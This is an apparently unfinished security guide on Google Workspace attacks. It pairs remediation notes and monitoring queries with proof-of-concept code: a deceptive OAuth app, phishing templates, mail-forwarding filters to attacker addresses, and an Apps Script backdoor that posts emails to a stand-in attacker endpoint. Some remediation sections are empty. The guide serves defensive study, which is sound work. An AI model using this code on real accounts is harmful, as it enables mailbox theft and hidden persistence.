Under Construction
This page is under construction. Please check back later for comprehensive guidance
Google Workspace Exploitation Examples and Fixes¶
This document provides security professionals with practical examples of Google Workspace security vulnerabilities, proof-of-concept exploitation techniques, and corresponding remediation strategies. This knowledge enables effective threat hunting, vulnerability assessment, and security hardening.
IMPORTANT: These techniques are provided exclusively for defensive purposes. All examples should only be used in authorized testing environments with proper permissions. Never attempt these techniques against production systems without explicit written authorization.
1. OAuth Token Manipulation Attacks¶
Vulnerability: Excessive OAuth Scope Authorization¶
Description:
Users are often unaware of the permissions they grant to third-party applications, frequently authorizing excessive scopes that can be exploited.
Proof-of-Concept Exploitation:¶
1. Creating a Deceptive OAuth Application:
// Simple Node.js example of a malicious OAuth app
const express = require('express');
const { google } = require('googleapis');
const app = express();
// OAuth configuration
const oauth2Client = new google.auth.OAuth2(
'YOUR_CLIENT_ID',
'YOUR_CLIENT_SECRET',
'http://localhost:3000/auth/google/callback'
);
// Request excessive scopes
const scopes = [
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive',
'https://www.googleapis.com/auth/calendar'
];
app.get('/auth', (req, res) => {
// Create deceptive authorization URL
const authUrl = oauth2Client.generateAuthUrl({
access_type: 'offline',
scope: scopes,
prompt: 'consent'
});
res.redirect(authUrl);
});
app.get('/auth/google/callback', async (req, res) => {
// Exchange code for tokens
const { tokens } = await oauth2Client.getToken(req.query.code);
oauth2Client.setCredentials(tokens);
// At this point, the application has persistent access to user data
// Tokens could be stored for later use
res.send('App connected successfully');
// Behind the scenes, begin data exfiltration
extractSensitiveData(oauth2Client);
});
async function extractSensitiveData(auth) {
// Example: Extract emails with sensitive content
const gmail = google.gmail({ version: 'v1', auth });
const response = await gmail.users.messages.list({
userId: 'me',
q: 'password OR credential OR confidential OR secret'
});
// Process and exfiltrate data
// [...]
}
app.listen(3000, () => console.log('Server running on port 3000'));
2. Phishing Delivery:
The attacker would create a convincing email or chat message:
Subject: Important Document Shared With You
Hi [Name],
I've shared an important document regarding the upcoming project.
Please review it at your earliest convenience.
[View Document]
Thanks,
[Colleague Name]
The "View Document" link directs to the OAuth authorization flow, which appears legitimate but requests excessive permissions.
3. Persistence Mechanism:
// Once tokens are acquired, establish persistence
async function establishPersistence(auth) {
// Create a mail forwarding filter to maintain access to communications
const gmail = google.gmail({ version: 'v1', auth });
await gmail.users.settings.filters.create({
userId: 'me',
requestBody: {
criteria: {
from: '*', // All incoming emails
},
action: {
forward: 'attacker@example.com',
addLabelIds: ['INBOX']
}
}
});
// Set up a Google Apps Script for persistent access
// [...]
}
Remediation Strategies:¶
-
Application Allowlisting:
-
API Access Management Implementation:
-
OAuth Token Monitoring: Create alerts for suspicious token activities:
-- Sample monitoring query SELECT user_email, application_name, scope_list, request_time, client_id FROM token_audit_logs WHERE application_name NOT IN (SELECT app_name FROM approved_applications) AND ( scope_list LIKE '%gmail%' OR scope_list LIKE '%drive%' OR scope_list LIKE '%admin%' ) ORDER BY request_time DESC
-
User Education Campaign:
- Train users on OAuth authorization risks
- Implement simulated OAuth phishing exercises
- Create clear procedures for reporting suspicious application requests
2. Google Workspace Authentication Bypass¶
Vulnerability: Recovery Email Manipulation¶
Description:
Attackers can potentially hijack accounts by manipulating account recovery options, especially in organizations without strict recovery controls.
Proof-of-Concept Exploitation:¶
1. Reconnaissance Phase:
# Using OSINT to gather employee information
# Example tools: LinkedIn, hunter.io, social media
# Example of information gathering script
#!/bin/bash
# Simple script to gather email formats from a company
COMPANY="targetcompany"
DOMAIN="targetcompany.com"
# Gather email addresses from public sources
echo "Gathering public email addresses for $DOMAIN..."
curl -s "https://api.hunter.io/v2/domain-search?domain=$DOMAIN&api_key=YOUR_API_KEY" | jq
# Extract email pattern
echo "Analyzing email patterns..."
# [Analysis logic to determine email format like firstname.lastname@domain.com]
# Output potential recovery emails based on format
echo "Generating potential recovery emails..."
# [Generate list of possible personal recovery emails]
2. Targeted Spear-Phishing:
The attacker crafts a convincing email that appears to come from IT support:
Subject: Urgent: Security Verification Required
Dear [Employee Name],
Our security system has detected unusual access to your account.
To verify your identity, please confirm your account recovery email.
[Verify Account]
If you don't complete this verification within 24 hours, your account may be suspended.
IT Security Team
The link leads to a fake Google login page that specifically asks for recovery email information.
3. Account Takeover via Recovery:
Once the attacker knows the recovery email, they can attempt account takeover:
- Navigate to Google account login
- Click "Forgot Password"
- Enter target's email address
- Select "Send recovery code to recovery email"
- Attacker, who now controls the recovery email, receives the code
- Reset password and gain access to the account
Remediation Strategies:¶
-
Enforce Strong Recovery Controls:
-
Implement Advanced Recovery Verification:
-
Recovery Event Monitoring:
-
Security Key Enforcement:
- Require security keys for account recovery operations
- Implement hardware key attestation
- Configure advanced protection program for critical users
3. Google Workspace Data Exfiltration¶
Vulnerability: Google Takeout Service Abuse¶
Description:
The Google Takeout service allows users to export their entire data across Google services, which can be abused to exfiltrate large amounts of company data without generating typical DLP alerts.
Proof-of-Concept Exploitation:¶
1. Initiating Takeout Data Export:
An attacker with access to a compromised account can navigate to Google Takeout (takeout.google.com) and:
- Select all Google services containing sensitive data:
- Gmail
- Drive
- Calendar
- Contacts
-
etc.
-
Configure export options for maximum data:
- Select all data categories
- Choose largest export size
- Select one-time download option
-
Use .zip format (less scrutiny than .tgz)
-
Create the export, which generates minimal logs compared to individual downloads
2. Scripted Data Extraction:
# Python script for automating Takeout extraction
# Requires authenticated Google session (cookies)
import requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
import json
# Setup headless browser
options = Options()
options.add_argument("--headless")
options.add_argument("--user-data-dir=/path/to/profile") # Pre-authenticated profile
driver = webdriver.Chrome(options=options)
# Navigate to Takeout
driver.get("https://takeout.google.com/")
time.sleep(2)
# Select all services
select_all_button = driver.find_element_by_xpath("//button[contains(text(), 'Select all')]")
select_all_button.click()
time.sleep(1)
# Configure export
next_button = driver.find_element_by_xpath("//button[contains(text(), 'Next step')]")
next_button.click()
time.sleep(1)
# Select maximum size, one-time download
# [Configure export options code]
# Create export
create_export_button = driver.find_element_by_xpath("//button[contains(text(), 'Create export')]")
create_export_button.click()
# Wait for export to complete
# [Monitoring code]
# Download export when ready
# [Download code]
print("Data export complete")
3. Low-Profile Exfiltration:
The attacker can then download the exported data archive and exfiltrate it through various methods:
- Direct download (less suspicious than multiple individual file downloads)
- Transfer to personal Google Drive account
- Upload to external storage service
- Split and extract through multiple channels
Remediation Strategies:¶
-
Restrict Takeout Access:
-
Implement Takeout Monitoring:
-- Sample monitoring query for Takeout activity SELECT user_email, application, event_type, ip_address, timestamp FROM admin_audit_logs WHERE application = 'Takeout' AND event_type IN ('EXPORT_INITIATED', 'EXPORT_DOWNLOADED') AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY) ORDER BY timestamp DESC
-
Create Data Export Alerts:
- Generate alerts when users initiate Takeout exports
- Monitor for downloaded export sizes exceeding thresholds
-
Implement approval workflows for data exports
-
DLP Integration:
- Deploy Google DLP controls across services
- Implement content-based restrictions on exports
- Configure alerts for bulk sensitive data movement
4. Google Workspace Persistence Mechanisms¶
Vulnerability: Google Apps Script Backdoors¶
Description:
Google Apps Script can be used to create persistent backdoors in Google Workspace environments, allowing attackers to maintain access even after credentials are changed.
Proof-of-Concept Exploitation:¶
1. Creating a Backdoor Script:
Navigate to script.google.com and create a new project with the following code:
// Malicious Google Apps Script for persistence
// Appears as a harmless utility script
// Innocent-looking function that users might legitimately use
function generateReportTemplate() {
const doc = DocumentApp.create('Report Template');
doc.getBody().appendParagraph('This is a report template');
return doc.getUrl();
}
// Backdoor function that forwards emails
function setupMailHandling() {
// Create time-driven trigger to run every hour
ScriptApp.newTrigger('processEmails')
.timeBased()
.everyHours(1)
.create();
return "Mail handling configured successfully";
}
// The actual malicious function
function processEmails() {
// Get recent emails
const threads = GmailApp.search('newer_than:1h');
let emailContent = "";
// Extract email content
for (let i = 0; i < threads.length; i++) {
const messages = threads[i].getMessages();
for (let j = 0; j < messages.length; j++) {
const message = messages[j];
emailContent += "From: " + message.getFrom() + "\n";
emailContent += "Subject: " + message.getSubject() + "\n";
emailContent += "Body: " + message.getPlainBody() + "\n\n";
}
}
// Exfiltrate data if there are any emails
if (emailContent) {
exfiltrateData(emailContent);
}
}
// Function to exfiltrate data
function exfiltrateData(data) {
// Option 1: Send to external webhook
const payload = {
'data': Utilities.base64Encode(data)
};
UrlFetchApp.fetch('https://attacker-controlled-endpoint.com/collect', {
'method': 'post',
'contentType': 'application/json',
'payload': JSON.stringify(payload)
});
// Option 2: Store in attacker-controlled spreadsheet
// This could be a shared spreadsheet owned by an outside collaborator
const spreadsheetId = '1aBcDeFgHiJkLmNoPqRsTuVwXyZ';
const sheet = SpreadsheetApp.openById(spreadsheetId).getSheets()[0];
sheet.appendRow([new Date(), data]);
}
// Decoy function for users who discover the script
function help() {
return "This utility script helps generate report templates for the team. Use generateReportTemplate() to create a new template.";
}
2. Deploying the Backdoor:
- Deploy the script as a web app:
- Select "Deploy as web app"
- Execute as: "User accessing the web app"
-
Who has access: "Anyone within [organization]"
-
Share the script with a legitimate pretext:
-
Once authorized, the script runs with the user's permissions and establishes persistence through time-based triggers
3. Maintaining Access:
The script maintains access by: - Running on a timer, independent of user actions - Exfiltrating data to external endpoints or attacker-controlled sheets - Surviving password changes or MFA updates - Appearing legitimate to casual inspection
Remediation Strategies:¶
-
Script Visibility and Controls:
-
Implement Script Monitoring:
-- Sample monitoring query for Apps Script activities SELECT user_email, event_name, method_name, script_id, timestamp FROM apps_script_logs WHERE event_name IN ('createTrigger', 'updateTrigger', 'doPost', 'urlFetch') AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY) ORDER BY timestamp DESC
-
Trigger Inventory and Review:
- Regularly audit all time-based and event-driven triggers
- Review script permissions and authorizations
-
Implement mandatory code review for scripts in production
-
Network Controls:
- Restrict script URL fetch destinations
- Monitor for data exfiltration patterns
- Implement domain restrictions for Apps Script
5. Exploiting Organizational Unit Misconfiguration¶
Vulnerability: OU Privilege Escalation¶
Description:
Improperly configured organizational units can lead to privilege escalation opportunities where users can move between OUs or access resources intended for higher privilege groups.
Proof-of-Concept Exploitation:¶
1. Identifying OU Boundary Weaknesses:
# Python script to map OU structure and identify inheritance issues
# Requires Admin SDK API access
from googleapiclient.discovery import build
from oauth2client.service_account import ServiceAccountCredentials
# Setup credentials and API client
creds = ServiceAccountCredentials.from_json_keyfile_name(
'service-account.json',
['https://www.googleapis.com/auth/admin.directory.orgunit']
)
creds = creds.create_delegated('admin@domain.com')
service = build('admin', 'directory_v1', credentials=creds)
def map_ou_structure(parent_path='/', parent_settings=None):
"""Recursively map OU structure and identify inheritance issues"""
results = service.orgunits().list(customerId='my_customer',
orgUnitPath=parent_path,
type='all').execute()
all_units = {}
if 'organizationUnits' in results:
for unit in results['organizationUnits']:
print(f"Analyzing OU: {unit['name']} (Path: {unit['orgUnitPath']})")
# Get settings for this OU
settings = get_ou_settings(unit['orgUnitPath'])
# Check for inheritance issues
if parent_settings:
inheritance_issues = check_inheritance_issues(parent_settings, settings)
if inheritance_issues:
print(f" WARNING: Inheritance issues detected in {unit['name']}:")
for issue in inheritance_issues:
print(f" - {issue}")
# Recursively map child OUs
children = map_ou_structure(unit['orgUnitPath'], settings)
all_units[unit['orgUnitPath']] = {
'name': unit['name'],
'settings': settings,
'children': children
}
return all_units
def get_ou_settings(ou_path):
"""Get settings for a specific OU"""
# This would normally call the appropriate APIs to get various settings
# For this example, we'll just return dummy data
return {
'services': ['gmail', 'drive', 'calendar'],
'security': {
'mfa_required': ou_path == '/' or 'executives' in ou_path,
'data_export_restricted': 'executives' in ou_path or 'finance' in ou_path,
'mobile_management': 'executives' in ou_path
}
}
def check_inheritance_issues(parent, child):
"""Check for security inheritance issues between parent and child OUs"""
issues = []
# Check for security settings that should be inherited but aren't
if parent['security']['mfa_required'] and not child['security']['mfa_required']:
issues.append("MFA requirement not inherited from parent OU")
if parent['security']['data_export_restricted'] and not child['security']['data_export_restricted']:
issues.append("Data export restrictions not inherited from parent OU")
# Add other checks as needed
return issues
# Map the entire OU structure
ou_map = map_ou_structure()
print("OU mapping complete.")
2. Exploiting Group Membership Controls:
When an organization uses dynamic groups based on OUs but fails to properly restrict group membership controls:
// Example exploitation of group membership via Google Apps Script
// Assumes attacker has basic user permissions but found a group with self-signup enabled
function joinPrivilegedGroup() {
// Identify target group from directory
const groups = GroupsApp.getGroups();
let targetGroup = null;
// Look for interesting groups with self-signup enabled
for (let i = 0; i < groups.length; i++) {
const group = groups[i];
const groupName = group.getName();
// Target high-value groups that might have improper controls
if (groupName.includes('admin') ||
groupName.includes('finance') ||
groupName.includes('hr') ||
groupName.includes('executive')) {
try {
// Attempt to join the group
group.addMember(Session.getActiveUser().getEmail());
console.log(`Successfully joined group: ${groupName}`);
targetGroup = group;
break;
} catch (e) {
console.log(`Failed to join group: ${groupName} - ${e.message}`);
}
}
}
if (targetGroup) {
// If successful, notify the attacker
exfiltrateData(`Joined privileged group: ${targetGroup.getName()}`);
}
}
3. Exploiting OU Boundary Crossing:
When OUs have inconsistent drive sharing permissions:
// Exploit shared drive access inconsistencies between OUs
function identifyDriveLeakagePaths() {
// Get all accessible shared drives
const drives = DriveApp.getSharedDrives();
let vulnerableDrives = [];
for (let i = 0; i < drives.length; i++) {
const drive = drives[i];
const files = drive.getFiles();
while (files.hasNext()) {
const file = files.next();
// Look for sensitive content indicators
if (hasFinancialContent(file) || hasHRContent(file) || hasExecutiveContent(file)) {
vulnerableDrives.push({
driveName: drive.getName(),
driveId: drive.getId(),
fileName: file.getName(),
fileId: file.getId()
});
// Share the file with external account
try {
file.addEditor('attacker-controlled-account@gmail.com');
console.log(`Successfully shared sensitive file: ${file.getName()}`);
} catch (e) {
console.log(`Failed to share file: ${file.getName()} - ${e.message}`);
}
}
}
}
// Exfiltrate information about vulnerable drives
if (vulnerableDrives.length > 0) {
exfiltrateData(JSON.stringify(vulnerableDrives));
}
}
function hasFinancialContent(file) {
// Check file metadata and content for financial indicators
try {
if (file.getMimeType() === 'application/vnd.google-apps.document') {
const content = DocumentApp.openById(file.getId()).getBody().getText().toLowerCase();
return content.includes('financial') ||
content.includes('budget') ||
content.includes('forecast') ||
content.includes('revenue');
}
} catch (e) {
// Error accessing content
}
return false;
}
// Similar functions for HR and executive content
Remediation Strategies:¶
-
Implement OU Inheritance Protection:
-
Group Membership Controls:
-
Regular OU Security Audits:
- Create a comprehensive OU security baseline
- Regularly audit settings and inheritance across OUs
- Implement automated checks for security inconsistencies
-
Document intended security boundaries and validate implementation
-
OU Change Monitoring:
6. Gmail Filter and Delegation Abuse¶
Vulnerability: Mail Delegation and Filter Exploitation¶
Description:
Gmail delegation features and mail filters can be exploited to create persistence mechanisms and data exfiltration channels.
Proof-of-Concept Exploitation:¶
1. Mail Delegation Exploitation:
When an organization allows Gmail delegation without proper controls:
// Google Apps Script to exploit mail delegation
function setupMailDelegation() {
try {
// Attempt to grant delegation access
Gmail.Users.Settings.Delegates.create(
{
'delegateEmail': 'attacker@example.com',
'verificationStatus': 'accepted'
},
'me'
);
console.log('Delegation added successfully');
return true;
} catch (e) {
console.log('Failed to add delegation: ' + e.message);
return false;
}
}
2. Covert Mail Filter Creation:
// Google Apps Script to create covert mail filter for BCC exfiltration
function createCovertMailFilter() {
try {
// Create a filter that forwards specific emails
Gmail.Users.Settings.Filters.create({
'criteria': {
'from': '*', // All incoming mails
'subject': 'confidential' // Target sensitive emails
},
'action': {
'addLabelIds': ['INBOX'],
'forward': 'attacker-controlled@example.com'
}
}, 'me');
console.log('Mail filter created successfully');
return true;
} catch (e) {
console.log('Failed to create filter: ' + e.message);
return false;
}
}
3. Exploitation via Gmail API:
Using a compromised account to implement silent BCC forwarding:
# Python script to implement silent BCC forwarding via Gmail API
from googleapiclient.discovery import build
from google.oauth2.credentials import Credentials
def setup_mail_exfiltration(credentials):
"""Set up silent exfiltration of emails via Gmail API"""
# Build the Gmail API service
service = build('gmail', 'v1', credentials=credentials)
# Create a filter to forward specific emails
filter_content = {
'criteria': {
# Target sensitive content
'query': 'confidential OR secret OR password OR credentials OR financial OR salary'
},
'action': {
# Add labels to avoid suspicion
'addLabelIds': ['INBOX'],
# Forward to attacker-controlled address
'forward': 'attacker@exfil-domain.com'
}
}
try:
# Create the filter
result = service.users().settings().filters().create(
userId='me',
body=filter_content
).execute()
print(f"Filter created successfully with ID: {result['id']}")
return result['id']
except Exception as e:
print(f"Failed to create filter: {str(e)}")
return None
def hide_filter_traces(credentials, filter_id):
"""Hide traces of the created filter to avoid detection"""
# For a real attack, this would try to modify logs or hide the filter
# This is a conceptual example and would not work in practice
pass
Remediation Strategies:¶
-
Restrict Mail Delegation:
-
Control Mail Forwarding:
-
Mail Filter Monitoring:
-- Sample monitoring query for mail filter creation SELECT user_email, event_type, filter_criteria, filter_action, timestamp FROM gmail_logs WHERE event_type = 'FILTER_CREATED' AND ( filter_action LIKE '%forward%' OR filter_action LIKE '%bcc%' ) AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY) ORDER BY timestamp DESC
-
Regular Mail Settings Audit:
- Create automated inventory of mail delegation settings
- Regularly scan for unauthorized mail filters
- Implement approval workflow for mail forwarding
- Conduct targeted user education on mail security
Security Implementation Checklist¶
Based on the exploitation examples, implement these critical security controls:
1. OAuth and Application Security¶
- Implement application allowlisting
- Restrict OAuth scope authorization
- Monitor token issuance and usage
- Implement regular third-party application reviews
2. Account Security¶
- Enforce MFA for all users and admins
- Restrict account recovery options
- Implement security keys for privileged accounts
- Control password reset and account recovery workflow
3. Data Protection¶
- Restrict Google Takeout and data export capabilities
- Implement DLP across all Google services
- Control document sharing and access permissions
- Monitor bulk data access and export activities
4. Persistent Access Controls¶
- Manage and monitor Google Apps Script creation and triggers
- Control mail delegation and forwarding capabilities
- Implement mail filter monitoring
- Conduct regular security reviews of automation components
5. Environment Segmentation¶
- Implement proper OU inheritance controls
- Secure group membership management
- Document and enforce security boundaries
- Conduct regular audits of security control inheritance
Resources for Security Testing¶
- Google Workspace Security Assessment Tool: https://support.google.com/a/answer/9198568
- Google Workspace Admin API Documentation: https://developers.google.com/admin-sdk
- OWASP Web Security Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- Gmail API Security Best Practices: https://developers.google.com/gmail/api/auth/security-best-practices
Note: The examples in this document are provided solely for educational purposes to help security professionals understand attack vectors and implement appropriate defenses. All testing should be performed only in authorized environments with proper approvals.